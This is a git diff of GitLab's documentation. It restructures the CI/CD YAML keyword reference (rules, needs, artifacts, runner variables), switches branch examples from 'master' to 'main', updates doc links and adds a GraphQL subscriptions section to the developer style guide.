use `rules: changes` -with merge request pipelines: +**Example of `rules:changes`**: ```yaml docker build: @@ -1434,61 +1215,28 @@ docker build: allow_failure: true ``` -In this example: - - If the pipeline is a merge request pipeline, check `Dockerfile` for changes. - If `Dockerfile` has changed, add the job to the pipeline as a manual job, and the pipeline continues running even if the job is not triggered (`allow_failure: true`). - If `Dockerfile` has not changed, do not add job to any pipeline (same as `when: never`). -To use `rules: changes` with branch pipelines instead of merge request pipelines, -change the `if:` clause in the previous example to: - -```yaml -rules: - - if: $CI_PIPELINE_SOURCE == "push" && $CI_COMMIT_BRANCH -``` - -To implement a rule similar to [`except:changes`](#onlychanges--exceptchanges), -use `when: never`. - -WARNING: -You can use `rules: changes` with other pipeline types, but it is not recommended -because `rules: changes` always evaluates to true when there is no Git `push` event. -Tag pipelines, scheduled pipelines, and so on do **not** have a Git `push` event -associated with them. A `rules: changes` job is **always** added to those pipeline -if there is no `if:` statement that limits the job to branch or merge request pipelines. - -##### Variables in `rules:changes` - -> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/34272) in GitLab 13.6. -> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/267192) in GitLab 13.7. - -You can use CI/CD variables in `rules:changes` expressions to determine when -to add jobs to a pipeline: - -```yaml -docker build: - variables: - DOCKERFILES_DIR: 'path/to/files/' - script: docker build -t my-image:$CI_COMMIT_REF_SLUG . - rules: - - changes: - - $DOCKERFILES_DIR/* -``` +**Additional details**: -You can use the `$` character for both variables and paths. For example, if the -`$DOCKERFILES_DIR` variable exists, its value is used. If it does not exist, the -`$` is interpreted as being part of a path. +- `rules: changes` works the same way as [`only: changes` and `except: changes`](#onlychanges--exceptchanges). +- You can use `when: never` to implement a rule similar to [`except:changes`](#onlychanges--exceptchanges). #### `rules:exists` > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/24021) in GitLab 12.4. Use `exists` to run a job when certain files exist in the repository. -You can use an array of paths. -In the following example, `job` runs if a `Dockerfile` exists anywhere in the repository: +**Keyword type**: Job keyword. You can use it only as part of a job. + +**Possible inputs**: An array of file paths. Paths are relative to the project directory (`$CI_PROJECT_DIR`) +and can't directly link outside it. File paths can use glob patterns. + +**Example of `rules:exists`**: ```yaml job: @@ -1498,47 +1246,50 @@ job: - Dockerfile ``` -Paths are relative to the project directory (`$CI_PROJECT_DIR`) and can't directly link outside it. - -You can use [glob](https://en.wikipedia.org/wiki/Glob_(programming)) -patterns to match multiple files in any directory -in the repository: +`job` runs if a `Dockerfile` exists anywhere in the repository. -```yaml -job: - script: bundle exec rspec - rules: - - exists: - - spec/**.rb -``` - -Glob patterns are interpreted with Ruby [`File.fnmatch`](https://docs.ruby-lang.org/en/2.7.0/File.html#method-c-fnmatch) -with the flags `File::FNM_PATHNAME | File::FNM_DOTMATCH | File::FNM_EXTGLOB`. +**Additional details**: -For performance reasons, GitLab matches a maximum of 10,000 `exists` patterns. After the 10,000th check, rules with patterned globs always match. +- Glob patterns are interpreted with Ruby [`File.fnmatch`](https://docs.ruby-lang.org/en/2.7.0/File.html#method-c-fnmatch) + with the flags `File::FNM_PATHNAME | File::FNM_DOTMATCH | File::FNM_EXTGLOB`. +- For performance reasons, GitLab matches a maximum of 10,000 `exists` patterns or + file paths. After the 10,000th check, rules with patterned globs always match. + In other words, the `exists` rule always assumes a match in projects with more + than 10,000 files. #### `rules:allow_failure` > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30235) in GitLab 12.8. -You can use [`allow_failure: true`](#allow_failure) in `rules:` to allow a job to fail, or a manual job to -wait for action, without stopping the pipeline itself. All jobs that use `rules:` default to `allow_failure: false` -if you do not define `allow_failure:`. +Use [`allow_failure: true`](#allow_failure) in `rules:` to allow a job to fail +without stopping the pipeline. + +You can also use `allow_failure: true` with a manual job. The pipeline continues +running without waiting for the result of the manual job. `allow_failure: false` +combined with `when: manual` in rules causes the pipeline to wait for the manual +job to run before continuing. + +**Keyword type**: Job keyword. You can use it only as part of a job. -The rule-level `rules:allow_failure` option overrides the job-level -[`allow_failure`](#allow_failure) option, and is only applied when -the particular rule triggers the job. +**Possible inputs**: `true` or `false`. Defaults to `false` if not defined. + +**Example of `rules:allow_failure`**: ```yaml job: script: echo "Hello, Rules!" rules: - - if: '$CI_MERGE_REQUEST_TARGET_BRANCH_NAME == "master"' + - if: '$CI_MERGE_REQUEST_TARGET_BRANCH_NAME == $CI_DEFAULT_BRANCH' when: manual allow_failure: true ``` -In this example, if the first rule matches, then the job has `when: manual` and `allow_failure: true`. +If the rule matches, then the job is a manual job with `allow_failure: true`. + +**Additional details**: + +- The rule-level `rules:allow_failure` overrides the job-level [`allow_failure`](#allow_failure), + and only applies when the specific rule triggers the job. #### `rules:variables` @@ -1547,14 +1298,18 @@ In this example, if the first rule matches, then the job has `when: manual` and Use [`variables`](#variables) in `rules:` to define variables for specific conditions. -For example: +**Keyword type**: Job-specific. You can use it only as part of a job. + +**Possible inputs**: A hash of variables in the format `VARIABLE-NAME: value`. + +**Example of `rules:variables`**: ```yaml job: variables: DEPLOY_VARIABLE: "default-deploy" rules: - - if: $CI_COMMIT_REF_NAME =~ /master/ + - if: $CI_COMMIT_REF_NAME == $CI_DEFAULT_BRANCH variables: # Override DEPLOY_VARIABLE defined DEPLOY_VARIABLE: "deploy-production" # at the job level. - if: $CI_COMMIT_REF_NAME =~ /feature/ @@ -1565,50 +1320,6 @@ job: - echo "Run another script if $IS_A_FEATURE exists" ``` -#### Complex rule clauses - -To conjoin `if`, `changes`, and `exists` clauses with an `AND`, use them in the -same rule. - -In the following example: - -- If the `Dockerfile` file or any file in `/docker/scripts` has changed, and `$VAR` == "string value", - then the job runs manually -- Otherwise, the job isn't included in the pipeline. - -```yaml -docker build: - script: docker build -t my-image:$CI_COMMIT_REF_SLUG . - rules: - - if: '$VAR == "string value"' - changes: # Include the job and set to when:manual if any of the follow paths match a modified file. - - Dockerfile - - docker/scripts/* - when: manual - # - "when: never" would be redundant here. It is implied any time rules are listed. -``` - -Keywords such as `branches` or `refs` that are available for -`only`/`except` are not available in `rules`. They are being individually -considered for their usage and behavior in this context. Future keyword improvements -are being discussed in our [epic for improving `rules`](https://gitlab.com/groups/gitlab-org/-/epics/2783), -where anyone can add suggestions or requests. - -You can use [parentheses](../variables/README.md#parentheses) with `&&` and `||` to build more complicated variable expressions. -[Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/230938) in GitLab 13.3: - -```yaml -job1: - script: - - echo This rule uses parentheses. - rules: - if: ($CI_COMMIT_BRANCH == "master" || $CI_COMMIT_BRANCH == "develop") && $MY_VARIABLE -``` - -WARNING: -[Before GitLab 13.3](https://gitlab.com/gitlab-org/gitlab/-/issues/230938), -rules that use both `||` and `&&` may evaluate with an unexpected order of operations. - ### `only` / `except` NOTE: @@ -1722,7 +1433,7 @@ to a pipeline, based on the status of [CI/CD variables](../variables/README.md). **Keyword type**: Job keyword. You can use it only as part of a job. -**Possible inputs**: An array of [CI/CD variable expressions](../variables/README.md#cicd-variable-expressions). +**Possible inputs**: An array of [CI/CD variable expressions](../jobs/job_control.md#cicd-variable-expressions). **Example of `only:variables`**: @@ -1968,12 +1679,12 @@ build_job: needs: - project: namespace/group/project-name job: build-1 - ref: master + ref: main artifacts: true ``` `build_job` downloads the artifacts from the latest successful `build-1` job -on the `master` branch in the `group/project-name` project. If the project is in the +on the `main` branch in the `group/project-name` project. If the project is in the same group or namespace, you can omit them from the `project:` keyword. For example, `project: group/project-name` or `project: project-name`. @@ -2069,14 +1780,7 @@ To download artifacts from a job in the current pipeline, use the basic form of #### Optional `needs` > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/30680) in GitLab 13.10. -> - [Deployed behind a feature flag](../../user/feature_flags.md), disabled by default. -> - [Enabled by default](https://gitlab.com/gitlab-org/gitlab/-/issues/323891) in GitLab 13.11. -> - Enabled on GitLab.com. -> - Recommended for production use. -> - For GitLab self-managed instances, GitLab administrators can opt to [disable it](#enable-or-disable-optional-needs). **(FREE SELF)** - -WARNING: -This feature might not be available to you. Check the **version history** note above for details. +> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/323891) in GitLab 14.0. To need a job that sometimes does not exist in the pipeline, add `optional: true` to the `needs` configuration. If not defined, `optional: false` is the default. @@ -2091,9 +1795,9 @@ error similar to: In this example: -- When the branch is `master`, the `build` job exists in the pipeline, and the `rspec` +- When the branch is the default branch, the `build` job exists in the pipeline, and the `rspec` job waits for it to complete before starting. -- When the branch is not `master`, the `build` job does not exist in the pipeline. +- When the branch is not the default branch, the `build` job does not exist in the pipeline. The `rspec` job runs immediately (similar to `needs: []`) because its `needs` relationship to the `build` job is optional. @@ -2101,7 +1805,7 @@ In this example: build: stage: build rules: - - if: $CI_COMMIT_REF_NAME == "master" + - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH rspec: stage: test @@ -2110,25 +1814,6 @@ rspec: optional: true ``` -#### Enable or disable optional needs **(FREE SELF)** - -Optional needs is under development but ready for production use. -It is deployed behind a feature flag that is **enabled by default**. -[GitLab administrators with access to the GitLab Rails console](../../administration/feature_flags.md) -can opt to disable it. - -To enable it: - -```ruby -Feature.enable(:ci_needs_optional) -``` - -To disable it: - -```ruby -Feature.disable(:ci_needs_optional) -``` - ### `tags` Use `tags` to select a specific runner from the list of all runners that are @@ -2355,8 +2040,8 @@ To protect a manual job: name: production url: https://example.com when: manual - only: - - master + rules: + - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH ``` 1. In the [protected environments settings](../environments/protected_environments.md#protecting-environments), @@ -2416,7 +2101,7 @@ For example: ```yaml deploy to production: stage: deploy - script: git push production HEAD:master + script: git push production HEAD:main environment: production ``` @@ -2438,7 +2123,7 @@ Set a name for an [environment](../environments/index.md). For example: ```yaml deploy to production: stage: deploy - script: git push production HEAD:master + script: git push production HEAD:main environment: name: production ``` @@ -2473,7 +2158,7 @@ Set a URL for an [environment](../environments/index.md). For example: ```yaml deploy to production: stage: deploy - script: git push production HEAD:master + script: git push production HEAD:main environment: name: production url: https://prod.example.com @@ -3303,8 +2988,8 @@ Create artifacts only for tags (`default-job` doesn't create artifacts): default-job: script: - mvn test -U - except: - - tags + rules: + - if: $CI_COMMIT_BRANCH release-job: script: @@ -3312,8 +2997,8 @@ release-job: artifacts: paths: - target/*.war - only: - - tags + rules: + - if: $CI_COMMIT_TAG ``` You can use wildcards for directories too. For example, if you want to get all the files inside the directories that end with `xyz`: @@ -3329,7 +3014,7 @@ job: > - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/49775) in GitLab 13.8 > - It's [deployed behind a feature flag](../../user/feature_flags.md), disabled by default. -> - It's enabled on GitLab.com. +> - It's disabled on GitLab.com. > - It's recommended for production use. Use `artifacts:public` to determine whether the job artifacts should be @@ -3500,22 +3185,6 @@ concatenate them into a single file. Use a filename pattern (`junit: rspec-*.xml an array of filenames (`junit: [rspec-1.xml, rspec-2.xml, rspec-3.xml]`), or a combination thereof (`junit: [rspec.xml, test-results/TEST-*.xml]`). -##### `artifacts:reports:license_management` **(ULTIMATE)** - -> - Introduced in GitLab 11.5. -> - Requires GitLab Runner 11.5 and above. - -WARNING: -This artifact is still valid but is **deprecated** in favor of the -[artifacts:reports:license_scanning](#artifactsreportslicense_scanning) -introduced in GitLab 12.8. - -The `license_management` report collects [Licenses](../../user/compliance/license_compliance/index.md) -as artifacts. - -The collected License Compliance report uploads to GitLab as an artifact and is summarized in merge requests and the pipeline view. It's also used to provide data for security -dashboards. - ##### `artifacts:reports:license_scanning` **(ULTIMATE)** > - Introduced in GitLab 12.8. @@ -3547,12 +3216,13 @@ as artifacts. The collected Metrics report uploads to GitLab as an artifact and displays in merge requests. -##### `artifacts:reports:performance` **(PREMIUM)** +##### `artifacts:reports:browser_performance` **(PREMIUM)** > - Introduced in GitLab 11.5. > - Requires GitLab Runner 11.5 and above. +> - [Name changed](https://gitlab.com/gitlab-org/gitlab/-/issues/225914) from `artifacts:reports:performance` in GitLab 14.0. -The `performance` report collects [Browser Performance Testing metrics](../../user/project/merge_requests/browser_performance_testing.md) +The `browser_performance` report collects [Browser Performance Testing metrics](../../user/project/merge_requests/browser_performance_testing.md) as artifacts. The collected Browser Performance report uploads to GitLab as an artifact and displays in merge requests. @@ -3762,7 +3432,7 @@ Possible values for `when` are: - `scheduler_failure`: Retry if the scheduler failed to assign the job to a runner. - `data_integrity_failure`: Retry if there is a structural integrity problem detected. -You can specify the number of [retry attempts for certain stages of job execution](../runners/README.md#job-stages-attempts) using variables. +You can specify the number of [retry attempts for certain stages of job execution](../runners/configure_runners.md#job-stages-attempts) using variables. ### `timeout` @@ -4065,7 +3735,7 @@ child-pipeline: trigger: include: - project: 'my-group/my-pipeline-library' - ref: 'master' + ref: 'main' file: '/path/to/child-pipeline.yml' ``` @@ -4240,7 +3910,7 @@ finishes. ### `release` -> [Introduced](https://gitlab.com/gitlab-org/gitlab/merge_requests/19298) in GitLab 13.2. +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/19298) in GitLab 13.2. Use `release` to create a [release](../../user/project/releases/index.md). Requires the [`release-cli`](https://gitlab.com/gitlab-org/release-cli/-/tree/master/docs) @@ -4407,7 +4077,10 @@ job: description: 'Release description' ``` -It is also possible to create any unique tag, in which case `only: tags` is not mandatory. +It is also possible for the release job to automatically create a new unique tag. In that case, +do not use [`rules`](#rules) or [`only`](#only--except) to configure the job to +only run for tags. + A semantic versioning example: ```yaml @@ -4663,8 +4336,8 @@ pages: artifacts: paths: - public - only: - - master + rules: + - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH ``` View the [GitLab Pages user documentation](../../user/project/pages/index.md). @@ -4807,7 +4480,7 @@ You can use [YAML anchors for variables](#yaml-anchors-for-variables). > [Introduced in](https://gitlab.com/gitlab-org/gitlab/-/issues/30101) GitLab 13.7. -Use the `value` and `description` keywords to define [variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines) +Use the `value` and `description` keywords to define [pipeline-level (global) variables that are prefilled](../pipelines/index.md#prefill-variables-in-manual-pipelines) when [running a pipeline manually](../pipelines/index.md#run-a-pipeline-manually): ```yaml @@ -4817,23 +4490,25 @@ variables: description: "The deployment target. Change this variable to 'canary' or 'production' if needed." ``` +You cannot set job-level variables to be pre-filled when you run a pipeline manually. + ### Configure runner behavior with variables You can use [CI/CD variables](../variables/README.md) to configure how the runner processes Git requests: -- [`GIT_STRATEGY`](../runners/README.md#git-strategy) -- [`GIT_SUBMODULE_STRATEGY`](../runners/README.md#git-submodule-strategy) -- [`GIT_CHECKOUT`](../runners/README.md#git-checkout) -- [`GIT_CLEAN_FLAGS`](../runners/README.md#git-clean-flags) -- [`GIT_FETCH_EXTRA_FLAGS`](../runners/README.md#git-fetch-extra-flags) -- [`GIT_DEPTH`](../runners/README.md#shallow-cloning) (shallow cloning) -- [`GIT_CLONE_PATH`](../runners/README.md#custom-build-directories) (custom build directories) -- [`TRANSFER_METER_FREQUENCY`](../runners/README.md#artifact-and-cache-settings) (artifact/cache meter update frequency) -- [`ARTIFACT_COMPRESSION_LEVEL`](../runners/README.md#artifact-and-cache-settings) (artifact archiver compression level) -- [`CACHE_COMPRESSION_LEVEL`](../runners/README.md#artifact-and-cache-settings) (cache archiver compression level) +- [`GIT_STRATEGY`](../runners/configure_runners.md#git-strategy) +- [`GIT_SUBMODULE_STRATEGY`](../runners/configure_runners.md#git-submodule-strategy) +- [`GIT_CHECKOUT`](../runners/configure_runners.md#git-checkout) +- [`GIT_CLEAN_FLAGS`](../runners/configure_runners.md#git-clean-flags) +- [`GIT_FETCH_EXTRA_FLAGS`](../runners/configure_runners.md#git-fetch-extra-flags) +- [`GIT_DEPTH`](../runners/configure_runners.md#shallow-cloning) (shallow cloning) +- [`GIT_CLONE_PATH`](../runners/configure_runners.md#custom-build-directories) (custom build directories) +- [`TRANSFER_METER_FREQUENCY`](../runners/configure_runners.md#artifact-and-cache-settings) (artifact/cache meter update frequency) +- [`ARTIFACT_COMPRESSION_LEVEL`](../runners/configure_runners.md#artifact-and-cache-settings) (artifact archiver compression level) +- [`CACHE_COMPRESSION_LEVEL`](../runners/configure_runners.md#artifact-and-cache-settings) (cache archiver compression level) You can also use variables to configure how many times a runner -[attempts certain stages of job execution](../runners/README.md#job-stages-attempts). +[attempts certain stages of job execution](../runners/configure_runners.md#job-stages-attempts). ## YAML-specific features diff --git a/doc/ci/yaml/gitlab_ci_yaml.md b/doc/ci/yaml/gitlab_ci_yaml.md index 2993e077268..266b35bd27f 100644 --- a/doc/ci/yaml/gitlab_ci_yaml.md +++ b/doc/ci/yaml/gitlab_ci_yaml.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#designated-technical-writers type: reference --- diff --git a/doc/ci/yaml/includes.md b/doc/ci/yaml/includes.md index ec5934924fa..549a6fb964b 100644 --- a/doc/ci/yaml/includes.md +++ b/doc/ci/yaml/includes.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- @@ -26,7 +26,7 @@ Array with `include` method implied: ```yaml include: - - 'https://gitlab.com/awesome-project/raw/master/.before-script-template.yml' + - 'https://gitlab.com/awesome-project/raw/main/.before-script-template.yml' - '/templates/.after-script-template.yml' ``` @@ -34,21 +34,21 @@ Single string with `include` method specified explicitly: ```yaml include: - remote: 'https://gitlab.com/awesome-project/raw/master/.before-script-template.yml' + remote: 'https://gitlab.com/awesome-project/raw/main/.before-script-template.yml' ``` Array with `include:remote` being the single item: ```yaml include: - - remote: 'https://gitlab.com/awesome-project/raw/master/.before-script-template.yml' + - remote: 'https://gitlab.com/awesome-project/raw/main/.before-script-template.yml' ``` Array with multiple `include` methods specified explicitly: ```yaml include: - - remote: 'https://gitlab.com/awesome-project/raw/master/.before-script-template.yml' + - remote: 'https://gitlab.com/awesome-project/raw/main/.before-script-template.yml' - local: '/templates/.after-script-template.yml' - template: Auto-DevOps.gitlab-ci.yml ``` @@ -57,11 +57,11 @@ Array mixed syntax: ```yaml include: - - 'https://gitlab.com/awesome-project/raw/master/.before-script-template.yml' + - 'https://gitlab.com/awesome-project/raw/main/.before-script-template.yml' - '/templates/.after-script-template.yml' - template: Auto-DevOps.gitlab-ci.yml - project: 'my-group/my-project' - ref: master + ref: main file: '/templates/.gitlab-ci-template.yml' ``` @@ -70,7 +70,7 @@ include: In the following example, the content of `.before-script-template.yml` is automatically fetched and evaluated along with the content of `.gitlab-ci.yml`. -Content of `https://gitlab.com/awesome-project/raw/master/.before-script-template.yml`: +Content of `https://gitlab.com/awesome-project/raw/main/.before-script-template.yml`: ```yaml default: @@ -83,7 +83,7 @@ default: Content of `.gitlab-ci.yml`: ```yaml -include: 'https://gitlab.com/awesome-project/raw/master/.before-script-template.yml' +include: 'https://gitlab.com/awesome-project/raw/main/.before-script-template.yml' rspec: script: @@ -111,8 +111,8 @@ production: environment: name: production url: https://$CI_PROJECT_PATH_SLUG.$KUBE_INGRESS_BASE_DOMAIN - only: - - master + rules: + - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH ``` Content of `.gitlab-ci.yml`: diff --git a/doc/ci/yaml/script.md b/doc/ci/yaml/script.md index f4e099c3128..2e5517f6190 100644 --- a/doc/ci/yaml/script.md +++ b/doc/ci/yaml/script.md @@ -1,6 +1,6 @@ --- stage: Verify -group: Continuous Integration +group: Pipeline Execution info: To determine the technical writer assigned to the Stage/Group associated with this page, see https://about.gitlab.com/handbook/engineering/ux/technical-writing/#assignments type: reference --- diff --git a/doc/development/README.md b/doc/development/README.md index 37d8a8fa570..bc996fdff21 100644 --- a/doc/development/README.md +++ b/doc/development/README.md @@ -61,11 +61,11 @@ GitLab instance, see the [administration documentation](../administration/index. Complementary reads: -- [GitLab core team & GitLab Inc. contribution process](https://gitlab.com/gitlab-org/gitlab/blob/master/PROCESS.md) +- [GitLab core team & GitLab Inc. contribution process](https://gitlab.com/gitlab-org/gitlab/-/blob/master/PROCESS.md) - [Security process for developers](https://gitlab.com/gitlab-org/release/docs/blob/master/general/security/developer.md#security-releases-critical-non-critical-as-a-developer) - [Guidelines for implementing Enterprise Edition features](ee_features.md) - [Danger bot](dangerbot.md) -- [Generate a changelog entry with `bin/changelog`](changelog.md) +- [Guidelines for changelogs](changelog.md) - [Requesting access to ChatOps on GitLab.com](chatops_on_gitlabcom.md#requesting-access) (for GitLab team members) - [Patch release process for developers](https://gitlab.com/gitlab-org/release/docs/blob/master/general/patch/process.md#process-for-developers) - [Adding a new service component to GitLab](adding_service_component.md) diff --git a/doc/development/api_graphql_styleguide.md b/doc/development/api_graphql_styleguide.md index e8b71e0509a..4d521d11a69 100644 --- a/doc/development/api_graphql_styleguide.md +++ b/doc/development/api_graphql_styleguide.md @@ -16,7 +16,7 @@ We use the [GraphQL Ruby gem](https://graphql-ruby.org/) written by [Robert Moso In addition, we have a subscription to [GraphQL Pro](https://graphql.pro/). For details see [GraphQL Pro subscription](graphql_guide/graphql_pro.md). All GraphQL queries are directed to a single endpoint -([`app/controllers/graphql_controller.rb#execute`](https://gitlab.com/gitlab-org/gitlab/blob/master/app%2Fcontrollers%2Fgraphql_controller.rb)), +([`app/controllers/graphql_controller.rb#execute`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app%2Fcontrollers%2Fgraphql_controller.rb)), which is exposed as an API endpoint at `/api/graphql`. ## Deep Dive @@ -862,7 +862,7 @@ overhead. If you are writing: Resolvers may raise errors, which will be converted to top-level errors as appropriate. All anticipated errors should be caught and transformed to an appropriate GraphQL error (see -[`Gitlab::Graphql::Errors`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/gitlab/graphql/errors.rb)). +[`Gitlab::Graphql::Errors`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/gitlab/graphql/errors.rb)). Any uncaught errors will be suppressed and the client will receive the message `Internal service error`. @@ -1575,6 +1575,41 @@ deprecated aliased mutations. EE mutations should follow the same process. For an example of the merge request process, read [merge request !42588](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/42588). +## Subscriptions + +We use subscriptions to push updates to clients. We use the [Action Cable implementation](https://graphql-ruby.org/subscriptions/action_cable_implementation) +to deliver the messages over websockets. + +When a client subscribes to a subscription, we store their query in-memory within Puma workers. Then when the subscription is triggered, +the Puma workers execute the stored GraphQL queries and push the results to the clients. + +NOTE: +We cannot test subscriptions using GraphiQL, because they require an Action Cable client, which GraphiQL does not support at the moment. + +### Building subscriptions + +All fields under `Types::SubscriptionType` are subscriptions that clients can subscribe to. These fields require a subscription class, +which is a descendant of `Subscriptions::BaseSubscription` and is stored under `app/graphql/subscriptions`. + +The arguments required to subscribe and the fields that are returned are defined within the subscription class. Multiple fields can share +the same subscription class if they have the same arguments and return the same fields. + +This class runs during the initial subscription request and subsequent updates. You can read more about this in the +[GraphQL Ruby guides](https://graphql-ruby.org/subscriptions/subscription_classes). + +### Authorization + +You should implement the `#authorized?` method of the subscription class so that the initial subscription and subsequent updates are authorized. + +When a user is not authorized, you should call the `unauthorized!` helper so that execution is halted and the user is unsubscribed. Returning `false` +results in redaction of the response but we leak information that some updates are happening. This is due to a +[bug in the GraphQL gem](https://github.com/rmosolgo/graphql-ruby/issues/3390). + +### Triggering subscriptions + +Define a method under the `GraphqlTriggers` module to trigger a subscription. Do not call `GitlabSchema.subscriptions.trigger` directly in application +code so that we have a single source of truth and we do not trigger a subscription with different arguments and objects. + ## Pagination implementation To learn more, visit [GraphQL pagination](graphql_guide/pagination.md). @@ -1614,7 +1649,7 @@ is merged. ### `Types::TimeType` -[`Types::TimeType`](https://gitlab.com/gitlab-org/gitlab/blob/master/app%2Fgraphql%2Ftypes%2Ftime_type.rb) +[`Types::TimeType`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app%2Fgraphql%2Ftypes%2Ftime_type.rb) must be used as the type for all fields and arguments that deal with Ruby `Time` and `DateTime` objects. diff --git a/doc/development/api_styleguide.md b/doc/development/api_styleguide.md index dd43281da6d..c16e86726a8 100644 --- a/doc/development/api_styleguide.md +++ b/doc/development/api_styleguide.md @@ -15,7 +15,7 @@ to access them as we do in Rails views), local variables are fine. ## Entities -Always use an [Entity](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/api/entities) to present the endpoint's payload. +Always use an [Entity](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/api/entities) to present the endpoint's payload. ## Documentation @@ -28,7 +28,7 @@ See the [Documentation Style Guide RESTful API page](documentation/restful_api_s ## Methods and parameters description Every method must be described using the [Grape DSL](https://github.com/ruby-grape/grape#describing-methods) -(see [`environments.rb`](https://gitlab.com/gitlab-org/gitlab/blob/master/lib/api/environments.rb) +(see [`environments.rb`](https://gitlab.com/gitlab-org/gitlab/-/blob/master/lib/api/environments.rb) for a good example): - `desc` for the method summary. You should pass it a block for additional @@ -252,7 +252,7 @@ A standard way to do this within the API is for models to implement a scope called `with_api_entity_associations` that preloads the associations and data returned in the API. An example of this scope can be seen in -[the `Issue` model](https://gitlab.com/gitlab-org/gitlab/blob/2fedc47b97837ea08c3016cf2fb773a0300a4a25/app%2Fmodels%2Fissue.rb#L62). +[the `Issue` model](https://gitlab.com/gitlab-org/gitlab/-/blob/2fedc47b97837ea08c3016cf2fb773a0300a4a25/app%2Fmodels%2Fissue.rb#L62). In situations where the same model has multiple entities in the API (for instance, `UserBasic`, `User` and `UserPublic`) you should use your @@ -260,7 +260,7 @@ discretion with applying this scope. It may be that you optimize for the most basic entity, with successive entities building upon that scope. The `with_api_entity_associations` scope also [automatically preloads -data](https://gitlab.com/gitlab-org/gitlab/blob/19f74903240e209736c7668132e6a5a735954e7c/app%2Fmodels%2Ftodo.rb#L34) +data](https://gitlab.com/gitlab-org/gitlab/-/blob/19f74903240e209736c7668132e6a5a735954e7c/app%2Fmodels%2Ftodo.rb#L34) for `Todo` _targets_ when returned in the [to-dos API](../api/todos.md). For more context and discussion about preloading see diff --git a/doc/development/application_limits.md b/doc/development/application_limits.md index 3c1c91e0d2e..b532a7ff98b 100644 --- a/doc/development/application_limits.md +++ b/doc/development/application_limits.md @@ -94,7 +94,7 @@ project.actual_limits.exceeded?(:project_hooks, 10) #### `Limitable` concern -The [`Limitable` concern](https://gitlab.com/gitlab-org/gitlab/blob/master/app/models/concerns/limitable.rb) +The [`Limitable` concern](https://gitlab.com/gitlab-org/gitlab/-/blob/master/app/models/concerns/limitable.rb) can be used to validate that a model does not exceed the limits. It ensures that the count of the records for the current model does not exceed the defined limit. diff --git a/doc/development/appsec/index.md b/doc/development/appsec/index.md index e8ce885e75d..2ece3fdf4bf 100644 --- a/doc/development/appsec/index.md +++ b/doc/development/appsec/index.md @@ -20,7 +20,7 @@ the feature categories in the [Secure](https://about.gitlab.com/stages-devops-li - `AppSec::ContainerScanning`: Container Scanning code. - `AppSec::Dast`: DAST code. - `AppSec::DependencyScanning`: Dependency Scanning code. - - `AppSec::Fuzzing::Api`: API Fuzzing code. + - `AppSec::Fuzzing::API`: API Fuzzing code. - `AppSec::Fuzzing::Coverage`: Coverage Fuzzing code. - `AppSec::Fuzzing`: Shared fuzzing code. - `AppSec::LicenseCompliance`: License Compliance code. diff --git a/doc/development/architecture.md b/doc/development/architecture.md index fdcaa91a639..9801b24fdd0 100644 --- a/doc/development/architecture.md +++ b/doc/development/architecture.md @@ -15,14 +15,14 @@ There are two software distributions of GitLab: GitLab is available under [different subscriptions](https://about.gitlab.com/pricing/). -New versions of GitLab are released from stable branches, and the `master` branch is used for +New versions of GitLab are released from stable branches, and the `main` branch is used for bleeding-edge development. For more information, visit the [GitLab Release Process](https://about.gitlab.com/handbook/engineering/releases/). Both distributions require additional components. These components are described in the [Component details](#components) section, and all have their own repositories. -New versions of each dependent component are usually tags, but staying on the `master` branch of the +New versions of each dependent component are usually tags, but staying on the `main` branch of the GitLab codebase gives you the latest stable version of those components. New versions are generally released around the same time as GitLab releases, with the exception of informal security updates deemed critical. @@ -46,14 +46,14 @@ and pre-compiled assets. The GitLab application uses PostgreSQL for persistent database information (for example, users, permissions, issues, or other metadata). GitLab stores the bare Git repositories in the location -defined in [the configuration file, `repositories:` section](https://gitlab.com/gitlab-org/gitlab/blob/master/config/gitlab.yml.example). +defined in [the configuration file, `repositories:` section](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/gitlab.yml.example). It also keeps default branch and hook information with the bare repository. When serving repositories over HTTP/HTTPS GitLab uses the GitLab API to resolve authorization and access and to serve Git objects. The add-on component GitLab Shell serves repositories over SSH. It manages the SSH keys within the -location defined in [the configuration file, `GitLab Shell` section](https://gitlab.com/gitlab-org/gitlab/blob/master/config/gitlab.yml.example). +location defined in [the configuration file, `GitLab Shell` section](https://gitlab.com/gitlab-org/gitlab/-/blob/master/config/gitlab.yml.example). The file in that location should never be manually edited. GitLab Shell accesses the bare repositories through Gitaly to serve Git objects, and communicates with Redis to submit jobs to Sidekiq for GitLab to process. GitLab Shell queries the GitLab API to determine authorization and access. @@ -215,7 +215,7 @@ click NodeExporter "./architecture.html#node-exporter" ### Component legend - ✅ - Installed by default -- ⚙ - Requires additional configuration, or GitLab Managed Apps +- ⚙ - Requires additional configuration - ⤓ - Manual installation required - ❌ - Not supported or no instructions available - N/A - Not applicable @@ -234,7 +234,6 @@ Component statuses are linked to configuration documentation for each component. | [GitLab Exporter](#gitlab-exporter) | Generates a variety of GitLab metrics | ✅ | ✅ | ✅ | ✅ | ✅ 